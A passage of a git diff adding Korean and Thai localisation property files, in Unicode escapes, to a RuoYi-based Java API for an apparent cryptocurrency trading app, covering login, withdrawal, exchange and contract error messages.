\uACC4\uC815\uC774 {1}\uBD84 \uB3D9\uC548 \uC7A0\uACBC\uC2B5\uB2C8\uB2E4. +user.password.delete=\uC8C4\uC1A1\uD569\uB2C8\uB2E4. \uACC4\uC815\uC774 \uC0AD\uC81C\uB418\uC5C8\uC2B5\uB2C8\uB2E4. +user.blocked=\uC0AC\uC6A9\uC790\uAC00 \uCC28\uB2E8\uB418\uC5C8\uC2B5\uB2C8\uB2E4. \uAD00\uB9AC\uC790\uC5D0\uAC8C \uBB38\uC758\uD558\uC2ED\uC2DC\uC624. +role.blocked=\uC5ED\uD560\uC774 \uAE08\uC9C0\uB418\uC5C8\uC2B5\uB2C8\uB2E4. \uAD00\uB9AC\uC790\uC5D0\uAC8C \uBB38\uC758\uD558\uC2ED\uC2DC\uC624. +login.blocked=\uC548\uD0C0\uAE5D\uAC8C\uB3C4 \uC561\uC138\uC2A4 IP\uAC00 \uC2DC\uC2A4\uD15C\uC5D0 \uC758\uD574 \uBE14\uB799\uB9AC\uC2A4\uD2B8\uC5D0 \uC62C\uB790\uC2B5\uB2C8\uB2E4. +user.logout.success=\uC131\uACF5\uC801\uC73C\uB85C \uC885\uB8CC +user.ops.status=\uC131\uACF5\uC801\uC778 \uC6B4\uC601 + +length.not.valid=\uAE38\uC774\uB294 {min}\uC5D0\uC11C {max}\uC790 \uC0AC\uC774\uC5EC\uC57C \uD569\uB2C8\uB2E4. + +user.username.not.valid=* 2~20\uC790\uC758 \uD55C\uC790, \uBB38\uC790, \uC22B\uC790 \uB610\uB294 \uBC11\uC904\uC774\uBA70 \uC22B\uC790\uAC00 \uC544\uB2CC \uBB38\uC790\uB85C \uC2DC\uC791\uD574\uC57C \uD569\uB2C8\uB2E4. +user.password.not.valid=* 5-50\uC790 + +user.email.not.valid=\u90AE\u7BB1\u683C\u5F0F\u9519\u8BEF +user.mobile.phone.number.not.valid=\u624B\u673A\u53F7\u683C\u5F0F\u9519\u8BEF +user.login.success=\u767B\u5F55\u6210\u529F +user.register.success=\u6CE8\u518C\u6210\u529F +user.notfound=\u8BF7\u91CD\u65B0\u767B\u5F55 +user.forcelogout=\u7BA1\u7406\u5458\u5F3A\u5236\u9000\u51FA\uFF0C\u8BF7\u91CD\u65B0\u767B\u5F55 +user.unknown.error=\u672A\u77E5\u9519\u8BEF\uFF0C\u8BF7\u91CD\u65B0\u767B\u5F55 +user.register.phone.exist=\uD734\uB300\uD3F0 \uBC88\uD638\uAC00 \uC774\uBBF8 \uC874\uC7AC\uD569\uB2C8\uB2E4 +user.register.phone.bind=\uD734\uB300\uD3F0 \uBC88\uD638\uAC00 \uBC14\uC778\uB529\uB418\uC5C8\uC2B5\uB2C8\uB2E4 +##\u6587\u4EF6\u4E0A\u4F20\u6D88\u606F +upload.exceed.maxSize=\u4E0A\u4F20\u7684\u6587\u4EF6\u5927\u5C0F\u8D85\u51FA\u9650\u5236\u7684\u6587\u4EF6\u5927\u5C0F\uFF01
\u5141\u8BB8\u7684\u6587\u4EF6\u6700\u5927\u5927\u5C0F\u662F\uFF1A{0}MB\uFF01 +upload.filename.exceed.length=\u4E0A\u4F20\u7684\u6587\u4EF6\u540D\u6700\u957F{0}\u4E2A\u5B57\u7B26 + +##\u6743\u9650 +no.permission=\u60A8\u6CA1\u6709\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] +no.create.permission=\u60A8\u6CA1\u6709\u521B\u5EFA\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] +no.update.permission=\u60A8\u6CA1\u6709\u4FEE\u6539\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] +no.delete.permission=\u60A8\u6CA1\u6709\u5220\u9664\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] +no.export.permission=\u60A8\u6CA1\u6709\u5BFC\u51FA\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] +no.view.permission=\u60A8\u6CA1\u6709\u67E5\u770B\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] + +##\u6CE8\u518C\u7528\u6237\u63D0\u793A +user.register.email.format=\uC774\uBA54\uC77C \uD615\uC2DD\uC774 \uC798\uBABB\uB418\uC5C8\uC2B5\uB2C8\uB2E4. +user.register.email.exisit=\uC0AC\uC11C\uD568\uC774 \uC774\uBBF8 \uC874\uC7AC\uD569\uB2C8\uB2E4. +user.register.phone.exisit=\uD734\uB300\uC804\uD654 \uBC88\uD638\uAC00 \uC774\uBBF8 \uC874\uC7AC\uD569\uB2C8\uB2E4. +user.user_name_exisit=\uC0AC\uC6A9\uC790 \uC774\uB984\uC774 \uC774\uBBF8 \uC874\uC7AC\uD569\uB2C8\uB2E4 +login.user_error=\uC798\uBABB\uB41C \uC0AC\uC6A9\uC790 \uC774\uB984 \uB610\uB294 \uC554\uD638 +user.login.address.error=\uC8FC\uC18C\uAC00 \uCC0D\uD614\uC2B5\uB2C8\uB2E4! +#app +app.login.address.not.null=\uC0AC\uC6A9\uC790 \uC8FC\uC18C\uAC00 \uBE44\uC5B4 \uC788\uC2B5\uB2C8\uB2E4 +login.email.not_register=\uBC14\uC778\uB529\uB41C \uC774\uBA54\uC77C \uC8FC\uC18C\uB97C \uC0AC\uC6A9\uD558\uC5EC \uC791\uB3D9\uD558\uC2ED\uC2DC\uC624. +login.phone.not_register=\uC5F0\uB3D9\uB41C \uD734\uB300\uD3F0 \uBC88\uD638\uB97C \uC774\uC6A9\uD558\uC5EC \uC6B4\uC601\uD574\uC8FC\uC138\uC694 +login.code_error=\uC778\uC99D \uCF54\uB4DC \uC624\uB958 +user.login.code.error=\uC778\uC99D \uCF54\uB4DC \uD655\uC778\uC5D0 \uC2E4\uD328\uD588\uC2B5\uB2C8\uB2E4! +user.login.password.null=\uBE44\uBC00\uBC88\uD638\uB97C \uC785\uB825\uD574\uC8FC\uC138\uC694! +user.login.upd.success=\uC131\uACF5\uC801\uC73C\uB85C \uC218\uC815\uB418\uC5C8\uC2B5\uB2C8\uB2E4! +phone_code_empty=\uD734\uB300\uD3F0 \uBC88\uD638\uB294 \uBE44\uC6CC\uB458 \uC218 \uC5C6\uC2B5\uB2C8\uB2E4! +email.code_empty=\uC774\uBA54\uC77C\uC740 \uBE44\uC6CC\uB458 \uC218 \uC5C6\uC2B5\uB2C8\uB2E4! +user.code.send=\uC778\uC99D \uCF54\uB4DC\uAC00 \uC131\uACF5\uC801\uC73C\uB85C \uC804\uC1A1\uB418\uC5C8\uC2B5\uB2C8\uB2E4. +app.verification.email.code=\uC778\uC99D\uBC88\uD638\uAC00 \uC774\uBA54\uC77C\uB85C \uBC1C\uC1A1\uB418\uC5C8\uC73C\uB2C8 \uD655\uC778 \uBD80\uD0C1\uB4DC\uB9BD\uB2C8\uB2E4. +user.password_bind=\uBE44\uBC00\uBC88\uD638\uAC00 \uC774\uBBF8 \uC124\uC815\uB418\uC5B4 \uC788\uC2B5\uB2C8\uB2E4. \uB2E4\uC2DC \uBB36\uC9C0 \uB9C8\uC2ED\uC2DC\uC624. +user.tard.password_bind=\uBCF4\uC548 \uC554\uD638\uAC00 \uC124\uC815\uB418\uC5C8\uC2B5\uB2C8\uB2E4. \uB2E4\uC2DC \uBC14\uC778\uB529\uD558\uC9C0 \uB9C8\uC2ED\uC2DC\uC624. +user.login.null=\uC0AC\uC6A9\uC790\uAC00 \uC874\uC7AC\uD558\uC9C0 \uC54A\uC2B5\uB2C8\uB2E4! +user.login.old.password=\uC774\uC804 \uC554\uD638\uAC00 \uC785\uB825\uB418\uC9C0 \uC54A\uC558\uC2B5\uB2C8\uB2E4! +user.login.new.password=\uC0C8 \uBE44\uBC00\uBC88\uD638\uAC00 \uC785\uB825\uB418\uC9C0 \uC54A\uC558\uC2B5\uB2C8\uB2E4! +user.login.paw.upd=\uC0C8 \uBE44\uBC00\uBC88\uD638\uB294 \uC774\uC804 \uBE44\uBC00\uBC88\uD638\uC640 \uAC19\uC744 \uC218 \uC5C6\uC2B5\uB2C8\uB2E4! +user.login.old.password.error=\uC774\uC804 \uC554\uD638\uAC00 \uC798\uBABB\uB418\uC5C8\uC2B5\uB2C8\uB2E4! +user.login.address.null=\uC8FC\uC18C\uAC00 \uBE44\uC5B4 \uC788\uC2B5\uB2C8\uB2E4! +user.login.userid.null=\uC0AC\uC6A9\uC790 ID\uAC00 \uBE44\uC5B4 \uC788\uC2B5\uB2C8\uB2E4! +#\u63D0\u73B0 +user.password_notbind=\uC548\uC804\uD55C \uBE44\uBC00\uBC88\uD638\uB97C \uC124\uC815\uD574\uC8FC\uC138\uC694 +tard_password.error=\uC798\uBABB\uB41C \uACB0\uC81C \uBE44\uBC00\uBC88\uD638 +withdraw.amount_number_exceed=\uB2F9\uC77C \uCD9C\uAE08\uD69F\uC218\uAC00 \uC124\uC815\uD55C \uD69F\uC218\uB97C \uCD08\uACFC\uD55C \uACBD\uC6B0 +withdraw_error=\uC794\uC561 \uBD80\uC871, \uD604\uAE08 \uC778\uCD9C \uBD88\uAC00 +withdraw.amount_error=\uCD9C\uAE08\uAE08\uC561\uC774 \uD2C0\uB838\uC5B4\uC694 \uC218\uC815\uD574\uC8FC\uC138\uC694 +withdraw.refresh=\uC0C8\uB85C \uACE0\uCE68\uD558\uC2ED\uC2DC\uC624 +withdraw.address.isnull=\uC815\uD655\uD55C \uCD9C\uAE08\uC8FC\uC18C\uB97C \uC785\uB825\uD574\uC8FC\uC138\uC694! +withdraw_require_error = \uD604\uC7AC\uB294 \uB0A8\uC740 \uB9E4\uCD9C\uC561\uC744 \uAC00\uC9C0\uACE0 \uB180\uC544\uC57C\uD569\uB2C8\uB2E4. +withdraw_error_coin=\uC774 \uD1B5\uD654\uB294 \uC874\uC7AC\uD558\uC9C0 \uC54A\uC2B5\uB2C8\uB2E4. +withdraw_error_rate=\uC774 \uD658\uC728\uC740 \uC874\uC7AC\uD558\uC9C0 \uC54A\uC2B5\uB2C8\uB2E4. +#\u5B9E\u540D\u8BA4\u8BC1 +user.kyc.not_blank=\uBCF8\uC778\uC778\uC99D \uC815\uBCF4 4\uAC1C \uD56D\uBAA9 \uBAA8\uB450 \uD544\uC218 + +#\u5151\u6362 +exchange.symbol.exist = \uAD50\uD658 \uD1B5\uD654\uB294 \uBE44\uC6CC\uB458 \uC218 \uC5C6\uC73C\uBA70 \uAD50\uD658 \uAE08\uC561\uC740 0\uBCF4\uB2E4 \uCEE4\uC57C \uD569\uB2C8\uB2E4. +recharge.amout.min=\uCD5C\uC18C \uCDA9\uC804 \uAE08\uC561\uC740 {0}\uC785\uB2C8\uB2E4. +recharge.amout.max=\uCD5C\uB300 \uCDA9\uC804 \uAE08\uC561\uC740 {0}\uC785\uB2C8\uB2E4. +currency.exchange_min = \uCD5C\uC18C \uAD50\uD658 \uAE08\uC561\uC740 {0}\uC785\uB2C8\uB2E4. +currency.exchange_max =\uCD5C\uB300 \uAD50\uD658 \uAE08\uC561\uC740 {0}\uC785\uB2C8\uB2E4. +exchange_error=\uAD50\uD658 \uAE08\uC561\uC774 \uACC4\uC815 \uC794\uC561\uBCF4\uB2E4 \uD07D\uB2C8\uB2E4. +exchange.record.exist.error=\uC0AC\uC6A9\uC774 \uC9C4\uD589 \uC911\uC785\uB2C8\uB2E4. \uB098\uC911\uC5D0 \uB2E4\uC2DC \uC2DC\uB3C4\uD558\uC138\uC694. +#\u79D2\u5408\u7EA6 +order_amount_error=\uC9C0\uAC11 \uC794\uC561 \uBD80\uC871, \uAD6C\uB9E4\uD560 \uC218 \uC5C6\uC74C +order_10s_retry=\uC8FC\uBB38\uC774 \uB108\uBB34 \uC7A6\uC2B5\uB2C8\uB2E4. 10\uCD08 \uC774\uD6C4\uC5D0 \uC8FC\uBB38\uD574 \uC8FC\uC138\uC694... +#\u7406\u8D22 +user.push.message=\uC0AC\uC6A9\uC790 \uC791\uC5C5 \uAE08\uC9C0 +mine.level.error=\uADC0\uD558\uC758 VIP \uB4F1\uAE09\uC740 2\uCC28 \uC790\uC0B0 \uAD00\uB9AC \uC0C1\uD488\uC744 \uAD6C\uB9E4\uD558\uAE30\uC5D0 \uCDA9\uBD84\uD558\uC9C0 \uC54A\uC2B5\uB2C8\uB2E4. +order.single.min=\uAD6C\uB9E4 \uAE08\uC561\uC774 \uCD5C\uC18C \uAE08\uC561 \uBBF8\uB9CC\uC73C\uB85C \uAD6C\uB9E4\uD560 \uC218 \uC5C6\uC2B5\uB2C8\uB2E4. +order.single.max=\uAD6C\uB9E4\uD55C \uAE08\uC561\uC774 \uCD5C\uB300 \uD55C\uB3C4\uB97C \uCD08\uACFC\uD558\uC5EC \uAD6C\uB9E4\uD560 \uC218 \uC5C6\uC2B5\uB2C8\uB2E4. +order.buy.insufficient=\uD604\uC7AC \uCD5C\uB300 {0}\uAE4C\uC9C0 \uAD6C\uB9E4\uD560 \uC218 \uC788\uC2B5\uB2C8\uB2E4. +product.removed=\uC81C\uD488\uC774 \uB2E8\uC885\uB418\uC5C8\uC2B5\uB2C8\uB2E4 +financial.count.max=\uC774 \uC0AC\uC6A9\uC790\uB294 \uD55C\uB3C4\uC5D0 \uB3C4\uB2EC\uD558\uC5EC \uAD6C\uB9E4\uD560 \uC218 \uC5C6\uC2B5\uB2C8\uB2E4. +days.not.null=\uAD6C\uB9E4 \uC8FC\uAE30\uAC00 \uBE44\uC5B4 \uC788\uC2B5\uB2C8\uB2E4. +days.not.error=\uAD6C\uB9E4\uC8FC\uAE30 \uC624\uB958 + +contract.accont.error=\uBD88\uCDA9\uBD84\uD55C \uACC4\uC57D \uACC4\uC815 \uC794\uC561 +contract.min.share=\uCD5C\uC18C \uAD6C\uB9E4 \uC218\uB7C9\uC740 {0}\uC785\uB2C8\uB2E4. +contract.max.share=\uCD5C\uB300 \uAD6C\uB9E4 \uC218\uB294 {0}\uC785\uB2C8\uB2E4. +contract.asset.error=\uBD88\uCDA9\uBD84\uD55C \uACC4\uC57D \uACC4\uC815 \uC794\uC561 +adjust.min.error=\uAC10\uC18C \uC99D\uAC70\uAE08\uC740 \uCD08\uAE30 \uC99D\uAC70\uAE08\uBCF4\uB2E4 \uC791\uC744 \uC218 \uC5C6\uC2B5\uB2C8\uB2E4. +order.status.error=\uBD88\uBC95 \uC81C\uCD9C +contract.buy.earn.error=\uB9E4\uC218, \uC774\uC775 \uC2E4\uD604 \uAC00\uACA9\uC740 \uD3C9\uADE0 \uC2DC\uAC00\uBCF4\uB2E4 \uB0AE\uC744 \uC218 \uC5C6\uC2B5\uB2C8\uB2E4. +contract.buy.loss.error=\uB9E4\uC218 \uB9E4\uC218, \uC190\uC808\uB9E4 \uAC00\uACA9\uC740 \uD3C9\uADE0 \uC2DC\uAC00\uBCF4\uB2E4 \uB192\uC744 \uC218 \uC5C6\uC2B5\uB2C8\uB2E4. +contract.sell.earn.error=\uC20F \uD3EC\uC9C0\uC158\uC744 \uC5F4\uAE30 \uC704\uD574 \uB9E4\uB3C4, \uC774\uC775 \uC2E4\uD604 \uAC00\uACA9\uC740 \uD3C9\uADE0 \uAC1C\uC2DC \uAC00\uACA9\uBCF4\uB2E4 \uB192\uC744 \uC218 \uC5C6\uC2B5\uB2C8\uB2E4. +contract.sell.loss.error=\uC20F \uD3EC\uC9C0\uC158\uC744 \uC5F4\uAE30 \uC704\uD574 \uB9E4\uB3C4, \uC190\uC808\uB9E4 \uAC00\uACA9\uC740 \uD3C9\uADE0 \uAC1C\uC2DC \uAC00\uACA9\uBCF4\uB2E4 \uB0AE\uC744 \uC218 \uC5C6\uC2B5\uB2C8\uB2E4. +contract.num.limit=\uC218\uB7C9\uC740 \uBBF8\uACB0\uC81C\uC57D\uC815\uBCF4\uB2E4 \uD074 \uC218 \uC5C6\uC2B5\uB2C8\uB2E4. +#\u8D44\u91D1\u5212\u8F6C +asset_amount_error=\uC794\uC561 \uBD88\uCDA9\uBD84 +order.amount_error=\uC790\uC0B0\uAD00\uB9AC \uACC4\uC815 \uC794\uC561 \uBD80\uC871 +order.10s_retry=\uC8FC\uBB38\uC774 \uB108\uBB34 \uC790\uC8FC \uB4E4\uC5B4\uC624\uB124\uC694. 10\uCD08 \uD6C4\uC5D0 \uC8FC\uBB38\uD574 \uBCF4\uC138\uC694... +order_amount_limit=\uBD88\uBC95\uAE08\uC561 +contract.delivery.day=\uC544\uC9C1 \uBC30\uC1A1\uAE4C\uC9C0 {0}\uC77C \uB0A8\uC558\uC2B5\uB2C8\uB2E4. +contract.delivery.margan=\uC544\uC9C1 \uBC30\uC1A1\uC774 {0}\uC77C \uB0A8\uC558\uC2B5\uB2C8\uB2E4. \uD3EC\uC9C0\uC158 \uC99D\uAC70\uAE08\uC774 {1} USDT \uC774\uC0C1\uC774\uAC70\uB098 \uD3EC\uC9C0\uC158 \uC99D\uAC70\uAE08\uC774 {2} USDT \uC774\uD558\uC778 \uACBD\uC6B0 \uC0AC\uC804\uC5D0 \uD3EC\uC9C0\uC158\uC744 \uCCAD\uC0B0\uD560 \uC218 \uC788\uC2B5\uB2C8\uB2E4. +contract.delivery.earn=\uBC30\uC1A1\uC77C\uAE4C\uC9C0\uB294 \uC544\uC9C1 {0}\uC77C \uB0A8\uC558\uC2B5\uB2C8\uB2E4. \uD3EC\uC9C0\uC158 \uC99D\uAC70\uAE08\uC774 {1} USDT \uC774\uC0C1\uC778 \uACBD\uC6B0 \uBBF8\uB9AC \uD3EC\uC9C0\uC158\uC744 \uCCAD\uC0B0\uD560 \uC218 \uC788\uC2B5\uB2C8\uB2E4. +contract.delivery.loss=\uC544\uC9C1 \uBC30\uC1A1 \uC2DC\uAC04\uC774 {0}\uC77C \uB0A8\uC558\uC2B5\uB2C8\uB2E4. \uD3EC\uC9C0\uC158 \uC99D\uAC70\uAE08\uC774 {1}USDT \uC774\uD558\uC778 \uACBD\uC6B0 \uBBF8\uB9AC \uD3EC\uC9C0\uC158\uC744 \uCCAD\uC0B0\uD560 \uC218 \uC788\uC2B5\uB2C8\uB2E4. +order.audit.error=\uAC80\uD1A0\uC911 +order.audit.pass=\uCDA9\uC804\uC774 \uC9C4\uD589 \uC911\uC774\uBA70 \uC804 \uC138\uACC4 5\uAC1C \uB178\uB4DC\uC758 \uD655\uC778\uC774 \uD544\uC694\uD569\uB2C8\uB2E4. \uC7A0\uC2DC \uAE30\uB2E4\uB824 \uC8FC\uC2ED\uC2DC\uC624. + +#\u7533\u8D2D +own.coin.limit.num= \uC0AC\uC6A9 \uAC00\uB2A5 \uC218\uB7C9 {0} +own.coin.limit=\uC0AC\uC6A9 \uAC00\uB2A5\uD55C \uC794\uC561 {0} +own.coin.success=\uAD6C\uB3C5 \uC131\uACF5 +own.coin.error=\uC2DC\uC2A4\uD15C \uC624\uB958\uC785\uB2C8\uB2E4. \uAD00\uB9AC\uC790\uC5D0\uAC8C \uBB38\uC758\uD558\uC138\uC694 +own.coin.sub.play=\uC774\uBBF8 \uAD6C\uB3C5\uD558\uC168\uC2B5\uB2C8\uB2E4. \uB2E4\uC2DC \uC81C\uCD9C\uD558\uC9C0 \uB9C8\uC138\uC694! +own.coin.sub.error=\uC131\uACF5\uC801\uC73C\uB85C \uAD6C\uB3C5\uD558\uC9C0 \uC54A\uC740 \uACBD\uC6B0 \uAD6C\uB3C5\uC744 \uC0AC\uC6A9\uD560 \uC218 \uC5C6\uC2B5\uB2C8\uB2E4. +own.coin.sub.success=\uB2F9\uC2E0\uC740 \uC5BB\uC5C8\uC2B5\uB2C8\uB2E4 {0} \uAD6C\uB3C5 \uC790\uACA9 +own.coin.sub.num.error=\uC815\uD655\uD55C \uC218\uB7C9\uC744 \uC785\uB825\uD574\uC8FC\uC138\uC694. +order.sell.min.error=\uCD5C\uC18C \uD310\uB9E4 \uAE08\uC561\uC740 {0}\uC785\uB2C8\uB2E4. +order.audit.reject=\uD3EC\uC9C0\uC158\uC744 \uCCAD\uC0B0\uD558\uC9C0 \uBABB\uD588\uC2B5\uB2C8\uB2E4. + +#\u65B0\u53D1\u5E01\u8BA2\u9605 +own.coin.subscribe.success=\uAD6C\uB3C5 \uC131\uACF5 +own.coin.subscribe.error=\uAD6C\uB3C5 \uC2E4\uD328 +withdraw.kyc.error=\uD55C\uB3C4\uD574\uC81C\uB97C \uC704\uD574 \uBA3C\uC800 \uC2E4\uBA85\uC778\uC99D\uC744 \uC644\uB8CC\uD574\uC8FC\uC138\uC694. +exchange_symbol_error_exist=\uAD50\uD658 \uD1B5\uD654\uAC00 \uC874\uC7AC\uD558\uC9C0 \uC54A\uC2B5\uB2C8\uB2E4 +currency.coin.setting.nonexistent=\uD604\uC7AC {} \uAD6C\uC131\uC774 \uC874\uC7AC\uD558\uC9C0 \uC54A\uC2B5\uB2C8\uB2E4. +currency.balance.deficiency=\uD604\uC7AC {} \uD1B5\uD654 \uC794\uC561\uC774 \uBD80\uC871\uD569\uB2C8\uB2E4. +currency.deal.error=\uC774 \uD1B5\uD654\uB294 \uAC70\uB798\uD560 \uC218 \uC5C6\uC2B5\uB2C8\uB2E4. +back.code.exist.error=\uC740\uD589 \uCE74\uB4DC \uBC88\uD638\uAC00 \uC774\uBBF8 \uC874\uC7AC\uD569\uB2C8\uB2E4.{} + +#\u5B9E\u540D\u8BA4\u8BC1 +user.authentication.not.certified = \uAE30\uBCF8 \uC778\uC99D\uC744 \uBA3C\uC800 \uC218\uD589\uD574 \uC8FC\uC138\uC694. + +#\u9ED1\u540D\u5355 +user_is_black = \uADC0\uD558\uC758 \uACC4\uC815\uC740 \uBE14\uB799\uB9AC\uC2A4\uD2B8\uC5D0 \uB4F1\uB85D\uB418\uC5B4 \uB85C\uADF8\uC778\uD560 \uC218 \uC5C6\uC2B5\uB2C8\uB2E4. + +#\u5E01\u5E01\u4EA4\u6613 +currency.order.min.error= \uCD5C\uC18C \uC8FC\uBB38 \uC218\uB7C9\uC740 {0} +currency.order.max.error= \uCD5C\uB300 \uC8FC\uBB38 \uC218\uB7C9\uC740 {0} + diff --git a/ruoyi-api/src/main/resources/i18n/messages_th.properties b/ruoyi-api/src/main/resources/i18n/messages_th.properties new file mode 100644 index 0000000..1f99242 --- /dev/null +++ b/ruoyi-api/src/main/resources/i18n/messages_th.properties @@ -0,0 +1,165 @@ +user.appname=\u6CF0\u8BED\u8BED\u8A00 + + + +#\u9519\u8BEF\u6D88\u606F +not.null=* \u0E08\u0E33\u0E40\u0E1B\u0E47\u0E19 +user.jcaptcha.error=\u0E23\u0E2B\u0E31\u0E2A\u0E22\u0E37\u0E19\u0E22\u0E31\u0E19\u0E1C\u0E34\u0E14\u0E1E\u0E25\u0E32\u0E14 +user.jcaptcha.expire=\u0E23\u0E2B\u0E31\u0E2A\u0E22\u0E37\u0E19\u0E22\u0E31\u0E19\u0E2B\u0E21\u0E14\u0E2D\u0E32\u0E22\u0E38\u0E41\u0E25\u0E49\u0E27 +user.not.exists=\u0E44\u0E21\u0E48\u0E21\u0E35\u0E1C\u0E39\u0E49\u0E43\u0E0A\u0E49\u0E2D\u0E22\u0E39\u0E48/\u0E23\u0E2B\u0E31\u0E2A\u0E1C\u0E48\u0E32\u0E19\u0E1C\u0E34\u0E14 +user.password.not.match=\u0E44\u0E21\u0E48\u0E21\u0E35\u0E1C\u0E39\u0E49\u0E43\u0E0A\u0E49\u0E2D\u0E22\u0E39\u0E48/\u0E23\u0E2B\u0E31\u0E2A\u0E1C\u0E48\u0E32\u0E19\u0E44\u0E21\u0E48\u0E16\u0E39\u0E01\u0E15\u0E49\u0E2D\u0E07 +user.password.retry.limit.count=\u0E23\u0E2B\u0E31\u0E2A\u0E1C\u0E48\u0E32\u0E19\u0E17\u0E35\u0E48\u0E1B\u0E49\u0E2D\u0E19\u0E44\u0E21\u0E48\u0E16\u0E39\u0E01\u0E15\u0E49\u0E2D\u0E07 {0} \u0E04\u0E23\u0E31\u0E49\u0E07 +user.password.retry.limit.exceed=\u0E23\u0E2B\u0E31\u0E2A\u0E1C\u0E48\u0E32\u0E19\u0E17\u0E35\u0E48\u0E1B\u0E49\u0E2D\u0E19\u0E44\u0E21\u0E48\u0E16\u0E39\u0E01\u0E15\u0E49\u0E2D\u0E07 {0} \u0E04\u0E23\u0E31\u0E49\u0E07 \u0E1A\u0E31\u0E0D\u0E0A\u0E35\u0E16\u0E39\u0E01\u0E25\u0E47\u0E2D\u0E04\u0E40\u0E1B\u0E47\u0E19\u0E40\u0E27\u0E25\u0E32 {1} \u0E19\u0E32\u0E17\u0E35 +user.password.delete=\u0E02\u0E2D\u0E2D\u0E20\u0E31\u0E22 \u0E1A\u0E31\u0E0D\u0E0A\u0E35\u0E02\u0E2D\u0E07\u0E04\u0E38\u0E13\u0E16\u0E39\u0E01\u0E25\u0E1A\u0E41\u0E25\u0E49\u0E27 +user.blocked=\u0E1C\u0E39\u0E49\u0E43\u0E0A\u0E49\u0E23\u0E32\u0E22\u0E19\u0E35\u0E49\u0E16\u0E39\u0E01\u0E41\u0E1A\u0E19 \u0E42\u0E1B\u0E23\u0E14\u0E15\u0E34\u0E14\u0E15\u0E48\u0E2D\u0E1C\u0E39\u0E49\u0E14\u0E39\u0E41\u0E25\u0E23\u0E30\u0E1A\u0E1A +role.blocked=\u0E1A\u0E17\u0E1A\u0E32\u0E17\u0E19\u0E35\u0E49\u0E16\u0E39\u0E01\u0E41\u0E1A\u0E19 \u0E42\u0E1B\u0E23\u0E14\u0E15\u0E34\u0E14\u0E15\u0E48\u0E2D\u0E1C\u0E39\u0E49\u0E14\u0E39\u0E41\u0E25\u0E23\u0E30\u0E1A\u0E1A +login.blocked=\u0E02\u0E2D\u0E2D\u0E20\u0E31\u0E22 IP \u0E01\u0E32\u0E23\u0E40\u0E02\u0E49\u0E32\u0E16\u0E36\u0E07\u0E16\u0E39\u0E01\u0E02\u0E36\u0E49\u0E19\u0E1A\u0E31\u0E0D\u0E0A\u0E35\u0E14\u0E33\u0E42\u0E14\u0E22\u0E23\u0E30\u0E1A\u0E1A +user.logout.success=\u0E2D\u0E2D\u0E01\u0E40\u0E23\u0E35\u0E22\u0E1A\u0E23\u0E49\u0E2D\u0E22\u0E41\u0E25\u0E49\u0E27 +user.ops.status=\u0E01\u0E32\u0E23\u0E14\u0E33\u0E40\u0E19\u0E34\u0E19\u0E07\u0E32\u0E19\u0E17\u0E35\u0E48\u0E1B\u0E23\u0E30\u0E2A\u0E1A\u0E04\u0E27\u0E32\u0E21\u0E2A\u0E33\u0E40\u0E23\u0E47\u0E08 + +length.not.valid=\u0E04\u0E27\u0E32\u0E21\u0E22\u0E32\u0E27\u0E15\u0E49\u0E2D\u0E07\u0E2D\u0E22\u0E39\u0E48\u0E23\u0E30\u0E2B\u0E27\u0E48\u0E32\u0E07 {min} \u0E16\u0E36\u0E07 {max} \u0E2D\u0E31\u0E01\u0E02\u0E23\u0E30 + +user.username.not.valid=* \u0E15\u0E31\u0E27\u0E2D\u0E31\u0E01\u0E29\u0E23\u0E08\u0E35\u0E19 \u0E15\u0E31\u0E27\u0E2D\u0E31\u0E01\u0E29\u0E23 \u0E15\u0E31\u0E27\u0E40\u0E25\u0E02 \u0E2B\u0E23\u0E37\u0E2D\u0E02\u0E35\u0E14\u0E25\u0E48\u0E32\u0E07 2 \u0E16\u0E36\u0E07 20 \u0E15\u0E31\u0E27 \u0E41\u0E25\u0E30\u0E15\u0E49\u0E2D\u0E07\u0E02\u0E36\u0E49\u0E19\u0E15\u0E49\u0E19\u0E14\u0E49\u0E27\u0E22\u0E44\u0E21\u0E48\u0E43\u0E0A\u0E48\u0E15\u0E31\u0E27\u0E40\u0E25\u0E02 +user.password.not.valid=* 5-50 \u0E15\u0E31\u0E27\u0E2D\u0E31\u0E01\u0E29\u0E23 + +user.email.not.valid=\u0E02\u0E49\u0E2D\u0E1C\u0E34\u0E14\u0E1E\u0E25\u0E32\u0E14\u0E23\u0E39\u0E1B\u0E41\u0E1A\u0E1A\u0E2D\u0E35\u0E40\u0E21\u0E25 +user.mobile.phone.number.not.valid=\u0E02\u0E49\u0E2D\u0E1C\u0E34\u0E14\u0E1E\u0E25\u0E32\u0E14\u0E23\u0E39\u0E1B\u0E41\u0E1A\u0E1A\u0E2B\u0E21\u0E32\u0E22\u0E40\u0E25\u0E02\u0E42\u0E17\u0E23\u0E28\u0E31\u0E1E\u0E17\u0E4C +user.login.success=\u0E25\u0E07\u0E08\u0E2D\u0E14\u0E44\u0E14\u0E49\u0E2A\u0E33\u0E40\u0E23\u0E47\u0E08 +user.register.success=\u0E04\u0E27\u0E32\u0E21\u0E2A\u0E33\u0E40\u0E23\u0E47\u0E08\u0E43\u0E19\u0E01\u0E32\u0E23\u0E25\u0E07\u0E17\u0E30\u0E40\u0E1A\u0E35\u0E22\u0E19 +user.notfound=\u0E01\u0E23\u0E38\u0E13\u0E32\u0E40\u0E02\u0E49\u0E32\u0E2A\u0E39\u0E48\u0E23\u0E30\u0E1A\u0E1A\u0E2D\u0E35\u0E01\u0E04\u0E23\u0E31\u0E49\u0E07 